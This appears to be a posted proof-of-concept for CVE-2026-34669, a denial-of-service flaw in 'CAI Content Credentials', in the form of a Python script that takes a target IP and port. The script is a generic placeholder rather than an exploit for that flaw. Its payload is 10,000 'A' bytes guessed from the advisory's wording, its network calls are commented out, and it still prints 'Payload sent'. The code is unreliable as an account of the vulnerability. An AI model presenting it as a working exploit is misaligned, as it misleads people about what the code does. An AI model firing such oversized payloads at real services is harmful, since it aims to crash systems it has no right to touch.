CVE-2026-34669 CAI Content Credentials输入验证漏洞致DoS

# PoC for CVE-2026-34669 (Denial of Service via Improper Input Validation) # This script demonstrates the concept of triggering the crash by sending malformed input. import sys import socket def send_malicious_input(target_ip, target_port): try: # Establish a connection to the vulnerable service (Example placeholder) print(f"[*] Connecting to {target_ip}:{target_port}...") # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # Malformed payload constructed to trigger input validation failure # In a real scenario, this would be specific bytes causing the crash. # Based on the 'Improper Input Validation' description, we simulate a buffer overflow or format string trigger. payload = b"A" * 10000 + b"\x00\x00\x00\x00" print(f"[*] Sending malicious payload of length {len(payload)}...") # s.send(payload) print("[+] Payload sent. Check if the application has crashed.") # s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py <IP> <PORT> if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_malicious_input(target_ip, target_port)